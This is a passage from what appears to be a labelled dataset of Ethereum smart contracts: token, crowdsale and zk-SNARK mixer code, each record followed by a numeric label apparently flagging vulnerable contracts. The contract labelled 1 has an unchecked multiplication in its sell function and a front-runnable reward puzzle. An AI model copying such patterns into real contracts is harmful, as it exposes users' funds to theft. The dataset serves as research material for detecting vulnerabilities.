return this.balance / _totalSupply;
}
event EtherReserved(uint etherReserved);
function addToReserve() public payable returns(bool) {
uint256 _burnPriceTmp = _burnPrice;
if (msg.value > 0) {
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
EtherReserved(msg.value);
assert(_burnPrice >= _burnPriceTmp);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns(bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != address(this)
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transferAnyERC20Token(address tokenAddress, uint amount)
public
onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
function burnAll() external returns(bool) {
return burnTokens(balances[msg.sender]);
}
}
contract TestProcess {
Noxon main;
function TestProcess() payable {
main = new Noxon();
}
function () payable {
}
function init() returns (uint) {
if (!main.NoxonInit.value(12)()) throw;
if (!main.call.value(24)()) revert();
assert(main.balanceOf(address(this)) == 2);
if (main.call.value(23)()) revert();
assert(main.balanceOf(address(this)) == 2);
}
function test1() returns (uint) {
if (!main.call.value(26)()) revert();
assert(main.balanceOf(address(this)) == 3);
assert(main.emissionPrice() == 24);
return main.balance;
}
function test2() returns (uint){
if (!main.call.value(40)()) revert();
assert(main.balanceOf(address(this)) == 4);
}
function test3() {
if (!main.transfer(address(main),2)) revert();
assert(main.burnPrice() == 14);
}
} | 0 | 566 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract Haltable is MultiOwners {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract TripleAlphaCrowdsale is MultiOwners, Haltable {
using SafeMath for uint256;
uint256 public rateETHUSD = 300e2;
uint256 public minimalTokens = 1e18;
TripleAlphaToken public token;
address public wallet;
uint256 public periodPreITO_mainCapInUSD = 1000000e2;
uint256 public periodPreITO_hardCapInUSD = periodPreITO_mainCapInUSD;
uint256 public periodPreITO_period = 30 days;
uint256 public periodPreITO_tokenPriceUSD = 50;
uint256 public periodPreITO_weiPerToken = periodPreITO_tokenPriceUSD.mul(1 ether).div(rateETHUSD);
uint256 public periodPreITO_startTime;
uint256 public periodPreITO_endTime;
uint256 public periodPreITO_wei;
uint256 public periodPreITO_mainCapInWei = periodPreITO_mainCapInUSD.mul(1 ether).div(rateETHUSD);
uint256 public periodPreITO_hardCapInWei = periodPreITO_mainCapInWei;
uint256 public periodITO_softCapInUSD = 1000000e2;
uint256 public periodITO_mainCapInUSD = 8000000e2;
uint256 public periodITO_period = 60 days;
uint256 public periodITO_hardCapInUSD = periodITO_softCapInUSD + periodITO_mainCapInUSD;
uint256 public periodITO_tokenPriceUSD = 100;
uint256 public periodITO_weiPerToken = periodITO_tokenPriceUSD.mul(1 ether).div(rateETHUSD);
uint256 public periodITO_startTime;
uint256 public periodITO_endTime;
uint256 public periodITO_wei;
bool public refundAllowed = false;
mapping(address => uint256) public received_ethers;
uint256 public periodITO_mainCapInWei = periodITO_mainCapInUSD.mul(1 ether).div(rateETHUSD);
uint256 public periodITO_softCapInWei = periodITO_softCapInUSD.mul(1 ether).div(rateETHUSD);
uint256 public periodITO_hardCapInWei = periodITO_softCapInWei + periodITO_mainCapInWei;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event OddMoney(address indexed beneficiary, uint256 value);
event SetPeriodPreITO_startTime(uint256 new_startTimePeriodPreITO);
event SetPeriodITO_startTime(uint256 new_startTimePeriodITO);
modifier validPurchase() {
bool nonZeroPurchase = msg.value != 0;
require(withinPeriod() && nonZeroPurchase);
_;
}
modifier isExpired() {
require(now > periodITO_endTime);
_;
}
function withinPeriod() constant returns(bool res) {
bool withinPeriodPreITO = (now >= periodPreITO_startTime && now <= periodPreITO_endTime);
bool withinPeriodITO = (now >= periodITO_startTime && now <= periodITO_endTime);
return (withinPeriodPreITO || withinPeriodITO);
}
function TripleAlphaCrowdsale(uint256 _periodPreITO_startTime, uint256 _periodITO_startTime, address _wallet) {
require(_periodPreITO_startTime >= now);
require(_periodITO_startTime > _periodPreITO_startTime);
require(_wallet != 0x0);
token = new TripleAlphaToken();
wallet = _wallet;
setPeriodPreITO_startTime(_periodPreITO_startTime);
setPeriodITO_startTime(_periodITO_startTime);
}
function stageName() constant public returns (string) {
bool beforePreITO = (now < periodPreITO_startTime);
bool withinPreITO = (now >= periodPreITO_startTime && now <= periodPreITO_endTime);
bool betweenPreITOAndITO = (now >= periodPreITO_endTime && now <= periodITO_startTime);
bool withinITO = (now >= periodITO_startTime && now <= periodITO_endTime);
if(beforePreITO) {
return 'Not started';
}
if(withinPreITO) {
return 'Pre-ITO';
}
if(betweenPreITOAndITO) {
return 'Between Pre-ITO and ITO';
}
if(withinITO) {
return 'ITO';
}
return 'Finished';
}
function totalWei() public constant returns(uint256) {
return periodPreITO_wei + periodITO_wei;
}
function totalEther() public constant returns(uint256) {
return totalWei().div(1e18);
}
function setPeriodPreITO_startTime(uint256 _at) onlyOwner {
require(periodPreITO_startTime == 0 || block.timestamp < periodPreITO_startTime);
require(block.timestamp < _at);
require(periodITO_startTime == 0 || _at < periodITO_startTime);
periodPreITO_startTime = _at;
periodPreITO_endTime = periodPreITO_startTime.add(periodPreITO_period);
SetPeriodPreITO_startTime(_at);
}
function setPeriodITO_startTime(uint256 _at) onlyOwner {
require(periodITO_startTime == 0 || block.timestamp < periodITO_startTime);
require(block.timestamp < _at);
require(periodPreITO_endTime < _at);
periodITO_startTime = _at;
periodITO_endTime = periodITO_startTime.add(periodITO_period);
SetPeriodITO_startTime(_at);
}
function periodITO_softCapReached() internal returns (bool) {
return periodITO_wei >= periodITO_softCapInWei;
}
function() payable {
return buyTokens(msg.sender);
}
function calcAmountAt(uint256 _value, uint256 _at) constant public returns (uint256, uint256) {
uint256 estimate;
uint256 odd;
if(_at < periodPreITO_endTime) {
if(_value.add(periodPreITO_wei) > periodPreITO_hardCapInWei) {
odd = _value.add(periodPreITO_wei).sub(periodPreITO_hardCapInWei);
_value = periodPreITO_hardCapInWei.sub(periodPreITO_wei);
}
estimate = _value.mul(1 ether).div(periodPreITO_weiPerToken);
require(_value + periodPreITO_wei <= periodPreITO_hardCapInWei);
} else {
if(_value.add(periodITO_wei) > periodITO_hardCapInWei) {
odd = _value.add(periodITO_wei).sub(periodITO_hardCapInWei);
_value = periodITO_hardCapInWei.sub(periodITO_wei);
}
estimate = _value.mul(1 ether).div(periodITO_weiPerToken);
require(_value + periodITO_wei <= periodITO_hardCapInWei);
}
return (estimate, odd);
}
function buyTokens(address contributor) payable stopInEmergency validPurchase public {
uint256 amount;
uint256 odd_ethers;
bool transfer_allowed = true;
(amount, odd_ethers) = calcAmountAt(msg.value, now);
require(contributor != 0x0) ;
require(minimalTokens <= amount);
token.mint(contributor, amount);
TokenPurchase(contributor, msg.value, amount);
if(now < periodPreITO_endTime) {
periodPreITO_wei = periodPreITO_wei.add(msg.value);
} else {
if(periodITO_softCapReached()) {
periodITO_wei = periodITO_wei.add(msg.value).sub(odd_ethers);
} else if(this.balance >= periodITO_softCapInWei) {
periodITO_wei = this.balance.sub(odd_ethers);
} else {
received_ethers[contributor] = received_ethers[contributor].add(msg.value);
transfer_allowed = false;
}
}
if(odd_ethers > 0) {
require(odd_ethers < msg.value);
OddMoney(contributor, odd_ethers);
contributor.transfer(odd_ethers);
}
if(transfer_allowed) {
wallet.transfer(this.balance);
}
}
function refund() isExpired public {
require(refundAllowed);
require(!periodITO_softCapReached());
require(received_ethers[msg.sender] > 0);
require(token.balanceOf(msg.sender) > 0);
uint256 current_balance = received_ethers[msg.sender];
received_ethers[msg.sender] = 0;
token.burn(msg.sender);
msg.sender.transfer(current_balance);
}
function finishCrowdsale() onlyOwner public {
require(now > periodITO_endTime || periodITO_wei == periodITO_hardCapInWei);
require(!token.mintingFinished());
if(periodITO_softCapReached()) {
token.finishMinting(true);
} else {
refundAllowed = true;
token.finishMinting(false);
}
}
function running() constant public returns (bool) {
return withinPeriod() && !token.mintingFinished();
}
}
contract TripleAlphaToken is MintableToken {
string public constant name = 'Triple Alpha Token';
string public constant symbol = 'TRIA';
uint8 public constant decimals = 18;
bool public transferAllowed;
event Burn(address indexed from, uint256 value);
event TransferAllowed(bool);
modifier canTransfer() {
require(mintingFinished && transferAllowed);
_;
}
function transferFrom(address from, address to, uint256 value) canTransfer returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) canTransfer returns (bool) {
return super.transfer(to, value);
}
function finishMinting(bool _transferAllowed) onlyOwner returns (bool) {
transferAllowed = _transferAllowed;
TransferAllowed(_transferAllowed);
return super.finishMinting();
}
function burn(address from) onlyOwner returns (bool) {
Transfer(from, 0x0, balances[from]);
Burn(from, balances[from]);
balances[0x0] += balances[from];
balances[from] = 0;
}
} | 0 | 1,854 |
pragma solidity ^0.4.19;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
uint currentChallenge = 1;
function rewardMathGeniuses(uint answerToCurrentReward, uint nextChallenge) {
require(answerToCurrentReward**3 == currentChallenge);
balanceOf[msg.sender] += 1;
currentChallenge = nextChallenge;
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,797 |
pragma solidity ^0.5.0;
library Pairing {
struct G1Point {
uint X;
uint Y;
}
struct G2Point {
uint[2] X;
uint[2] Y;
}
function P1()
internal pure returns (G1Point memory)
{
return G1Point(1, 2);
}
function P2() internal pure returns (G2Point memory) {
return G2Point(
[11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
[4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]
);
}
function negate(G1Point memory p) internal pure returns (G1Point memory) {
uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
if (p.X == 0 && p.Y == 0)
return G1Point(0, 0);
return G1Point(p.X, q - (p.Y % q));
}
function pointAdd(G1Point memory p1, G1Point memory p2)
internal view returns (G1Point memory r)
{
uint[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
assembly {
success := staticcall(sub(gas, 2000), 6, input, 0xc0, r, 0x60)
}
require(success);
}
function pointMul(G1Point memory p, uint s)
internal view returns (G1Point memory r)
{
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
assembly {
success := staticcall(sub(gas, 2000), 7, input, 0x80, r, 0x60)
}
require (success);
}
function pairing(G1Point[] memory p1, G2Point[] memory p2)
internal view returns (bool)
{
require(p1.length == p2.length);
uint elements = p1.length;
uint inputSize = elements * 6;
uint[] memory input = new uint[](inputSize);
for (uint i = 0; i < elements; i++)
{
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint[1] memory out;
bool success;
assembly {
success := staticcall(sub(gas, 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
}
require(success);
return out[0] != 0;
}
function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2)
internal view returns (bool)
{
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
function pairingProd3(
G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2
)
internal view returns (bool)
{
G1Point[] memory p1 = new G1Point[](3);
G2Point[] memory p2 = new G2Point[](3);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
return pairing(p1, p2);
}
function pairingProd4(
G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2,
G1Point memory d1, G2Point memory d2
)
internal view returns (bool)
{
G1Point[] memory p1 = new G1Point[](4);
G2Point[] memory p2 = new G2Point[](4);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p1[3] = d1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
p2[3] = d2;
return pairing(p1, p2);
}
}
library Verifier
{
using Pairing for Pairing.G1Point;
using Pairing for Pairing.G2Point;
function scalarField ()
internal pure returns (uint256)
{
return 21888242871839275222246405745257275088548364400416034343698204186575808495617;
}
struct VerifyingKey
{
Pairing.G1Point alpha;
Pairing.G2Point beta;
Pairing.G2Point gamma;
Pairing.G2Point delta;
Pairing.G1Point[] gammaABC;
}
struct Proof
{
Pairing.G1Point A;
Pairing.G2Point B;
Pairing.G1Point C;
}
struct ProofWithInput
{
Proof proof;
uint256[] input;
}
function negateY( uint256 Y )
internal
pure
returns (uint256)
{
uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
return q - (Y % q);
}
function verify (uint256[14] memory in_vk, uint256[] memory vk_gammaABC, uint256[8] memory in_proof, uint256[] memory proof_inputs)
internal
view
returns (bool)
{
require( ((vk_gammaABC.length / 2) - 1) == proof_inputs.length );
uint256[3] memory mul_input;
uint256[4] memory add_input;
bool success;
uint m = 2;
add_input[0] = vk_gammaABC[0];
add_input[1] = vk_gammaABC[1];
for (uint i = 0; i < proof_inputs.length; i++) {
mul_input[0] = vk_gammaABC[m++];
mul_input[1] = vk_gammaABC[m++];
mul_input[2] = proof_inputs[i];
assembly {
success := staticcall(sub(gas, 2000), 7, mul_input, 0x80, add(add_input, 0x40), 0x60)
}
require(success);
assembly {
success := staticcall(sub(gas, 2000), 6, add_input, 0xc0, add_input, 0x60)
}
require(success);
}
uint[24] memory input = [
in_proof[0], in_proof[1],
in_proof[2], in_proof[3], in_proof[4], in_proof[5],
in_vk[0], negateY(in_vk[1]),
in_vk[2], in_vk[3], in_vk[4], in_vk[5],
add_input[0], negateY(add_input[1]),
in_vk[6], in_vk[7], in_vk[8], in_vk[9],
in_proof[6], negateY(in_proof[7]),
in_vk[10], in_vk[11], in_vk[12], in_vk[13]
];
uint[1] memory out;
assembly {
success := staticcall(sub(gas, 2000), 8, input, 768, out, 0x20)
}
require(success);
return out[0] != 0;
}
function verify(VerifyingKey memory vk, ProofWithInput memory pwi)
internal
view
returns (bool)
{
return verify(vk, pwi.proof, pwi.input);
}
function verify(VerifyingKey memory vk, Proof memory proof, uint256[] memory input)
internal
view
returns (bool)
{
require(input.length + 1 == vk.gammaABC.length);
Pairing.G1Point memory vk_x = vk.gammaABC[0];
for (uint i = 0; i < input.length; i++)
vk_x = Pairing.pointAdd(vk_x, Pairing.pointMul(vk.gammaABC[i + 1], input[i]));
return Pairing.pairingProd4(
proof.A, proof.B,
vk_x.negate(), vk.gamma,
proof.C.negate(), vk.delta,
vk.alpha.negate(), vk.beta);
}
}
library MiMC
{
function getScalarField ()
internal pure returns (uint256)
{
return 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
}
function MiMCpe7( uint256 in_x, uint256 in_k, uint256 in_seed, uint256 round_count )
internal pure returns(uint256 out_x)
{
assembly {
if lt(round_count, 1) { revert(0, 0) }
let c := mload(0x40)
mstore(0x40, add(c, 32))
mstore(c, in_seed)
let localQ := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001
let t
let a
for { let i := round_count } gt(i, 0) { i := sub(i, 1) } {
mstore(c, keccak256(c, 32))
t := addmod(addmod(in_x, mload(c), localQ), in_k, localQ)
a := mulmod(t, t, localQ)
in_x := mulmod(mulmod(a, mulmod(a, a, localQ), localQ), t, localQ)
}
out_x := addmod(in_x, in_k, localQ)
}
}
function MiMCpe7_mp( uint256[] memory in_x, uint256 in_k, uint256 in_seed, uint256 round_count )
internal pure returns (uint256)
{
uint256 r = in_k;
uint256 localQ = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
for( uint256 i = 0; i < in_x.length; i++ )
{
r = (r + in_x[i] + MiMCpe7(in_x[i], r, in_seed, round_count)) % localQ;
}
return r;
}
function Hash( uint256[] memory in_msgs, uint256 in_key )
internal pure returns (uint256)
{
return MiMCpe7_mp(in_msgs, in_key, uint256(keccak256("mimc")), 91);
}
function Hash( uint256[] memory in_msgs )
internal pure returns (uint256)
{
return Hash(in_msgs, 0);
}
}
library MerkleTree
{
uint constant internal TREE_DEPTH = 15;
uint constant internal MAX_LEAF_COUNT = 32768;
struct Data
{
uint cur;
uint256[32768][16] nodes;
}
function treeDepth() internal pure returns (uint256) {
return TREE_DEPTH;
}
function fillLevelIVs (uint256[15] memory IVs)
internal
pure
{
IVs[0] = 149674538925118052205057075966660054952481571156186698930522557832224430770;
IVs[1] = 9670701465464311903249220692483401938888498641874948577387207195814981706974;
IVs[2] = 18318710344500308168304415114839554107298291987930233567781901093928276468271;
IVs[3] = 6597209388525824933845812104623007130464197923269180086306970975123437805179;
IVs[4] = 21720956803147356712695575768577036859892220417043839172295094119877855004262;
IVs[5] = 10330261616520855230513677034606076056972336573153777401182178891807369896722;
IVs[6] = 17466547730316258748333298168566143799241073466140136663575045164199607937939;
IVs[7] = 18881017304615283094648494495339883533502299318365959655029893746755475886610;
IVs[8] = 21580915712563378725413940003372103925756594604076607277692074507345076595494;
IVs[9] = 12316305934357579015754723412431647910012873427291630993042374701002287130550;
IVs[10] = 18905410889238873726515380969411495891004493295170115920825550288019118582494;
IVs[11] = 12819107342879320352602391015489840916114959026915005817918724958237245903353;
IVs[12] = 8245796392944118634696709403074300923517437202166861682117022548371601758802;
IVs[13] = 16953062784314687781686527153155644849196472783922227794465158787843281909585;
IVs[14] = 19346880451250915556764413197424554385509847473349107460608536657852472800734;
}
function hashImpl (uint256 left, uint256 right, uint256 IV)
internal
pure
returns (uint256)
{
uint256[] memory x = new uint256[](2);
x[0] = left;
x[1] = right;
return MiMC.Hash(x, IV);
}
function insert(Data storage self, uint256 leaf)
internal
returns (uint256 new_root, uint256 offset)
{
require(leaf != 0);
uint256[15] memory IVs;
fillLevelIVs(IVs);
offset = self.cur;
require(offset != MAX_LEAF_COUNT - 1);
self.nodes[0][offset] = leaf;
new_root = updateTree(self, IVs);
self.cur = offset + 1;
}
function verifyPath(uint256 leaf, uint256[15] memory in_path, bool[15] memory address_bits)
internal
pure
returns (uint256 merkleRoot)
{
uint256[15] memory IVs;
fillLevelIVs(IVs);
merkleRoot = leaf;
for (uint depth = 0; depth < TREE_DEPTH; depth++) {
if (address_bits[depth]) {
merkleRoot = hashImpl(in_path[depth], merkleRoot, IVs[depth]);
} else {
merkleRoot = hashImpl(merkleRoot, in_path[depth], IVs[depth]);
}
}
}
function verifyPath(Data storage self, uint256 leaf, uint256[15] memory in_path, bool[15] memory address_bits)
internal
view
returns (bool)
{
return verifyPath(leaf, in_path, address_bits) == getRoot(self);
}
function getLeaf(Data storage self, uint depth, uint offset)
internal
view
returns (uint256)
{
return getUniqueLeaf(depth, offset, self.nodes[depth][offset]);
}
function getMerkleProof(Data storage self, uint index)
internal
view
returns (uint256[15] memory proof_path)
{
for (uint depth = 0; depth < TREE_DEPTH; depth++)
{
if (index % 2 == 0) {
proof_path[depth] = getLeaf(self, depth, index + 1);
} else {
proof_path[depth] = getLeaf(self, depth, index - 1);
}
index = uint(index / 2);
}
}
function getUniqueLeaf(uint256 depth, uint256 offset, uint256 leaf)
internal pure returns (uint256)
{
if (leaf == 0x0)
{
leaf = uint256(
sha256(
abi.encodePacked(
uint16(depth),
uint240(offset)))) % MiMC.getScalarField();
}
return leaf;
}
function updateTree(Data storage self, uint256[15] memory IVs)
internal returns(uint256 root)
{
uint currentIndex = self.cur;
uint256 leaf1;
uint256 leaf2;
for (uint depth = 0; depth < TREE_DEPTH; depth++)
{
if (currentIndex%2 == 0)
{
leaf1 = self.nodes[depth][currentIndex];
leaf2 = getUniqueLeaf(depth, currentIndex + 1, self.nodes[depth][currentIndex + 1]);
} else
{
leaf1 = getUniqueLeaf(depth, currentIndex - 1, self.nodes[depth][currentIndex - 1]);
leaf2 = self.nodes[depth][currentIndex];
}
uint nextIndex = uint(currentIndex/2);
self.nodes[depth+1][nextIndex] = hashImpl(leaf1, leaf2, IVs[depth]);
currentIndex = nextIndex;
}
return self.nodes[TREE_DEPTH][0];
}
function getRoot (Data storage self)
internal
view
returns (uint256)
{
return self.nodes[TREE_DEPTH][0];
}
function getNextLeafIndex (Data storage self)
internal
view
returns (uint256)
{
return self.cur;
}
}
contract Mixer
{
using MerkleTree for MerkleTree.Data;
uint constant public AMOUNT = 1 ether;
uint256[14] vk;
uint256[] gammaABC;
mapping (uint256 => bool) public nullifiers;
mapping (address => uint256[]) public pendingDeposits;
MerkleTree.Data internal tree;
event CommitmentAdded(address indexed _fundingWallet, uint256 _leaf);
event LeafAdded(uint256 _leaf, uint256 _leafIndex);
constructor(uint256[14] memory in_vk, uint256[] memory in_gammaABC)
public
{
vk = in_vk;
gammaABC = in_gammaABC;
}
function getRoot()
public
view
returns (uint256)
{
return tree.getRoot();
}
function commit(uint256 leaf, address fundingWallet)
public
payable
{
require(leaf > 0, "null leaf");
pendingDeposits[fundingWallet].push(leaf);
emit CommitmentAdded(fundingWallet, leaf);
if (msg.value > 0) fundCommitment();
}
function fundCommitment() private {
require(msg.value == AMOUNT, "wrong value");
uint256[] storage leaves = pendingDeposits[msg.sender];
require(leaves.length > 0, "commitment must be sent first");
uint256 leaf = leaves[leaves.length - 1];
leaves.length--;
(, uint256 leafIndex) = tree.insert(leaf);
emit LeafAdded(leaf, leafIndex);
}
function () external payable {
fundCommitment();
}
function makeLeafHash(uint256 nullifier_secret, address wallet_address)
external
pure
returns (uint256)
{
bytes32 digest = sha256(abi.encodePacked(nullifier_secret, uint256(wallet_address)));
uint256 mask = uint256(-1) >> 4;
return uint256(digest) & mask;
}
function makeNullifierHash(uint256 nullifier_secret)
external
pure
returns (uint256)
{
uint256[] memory vals = new uint256[](2);
vals[0] = nullifier_secret;
vals[1] = nullifier_secret;
return MiMC.Hash(vals, 0);
}
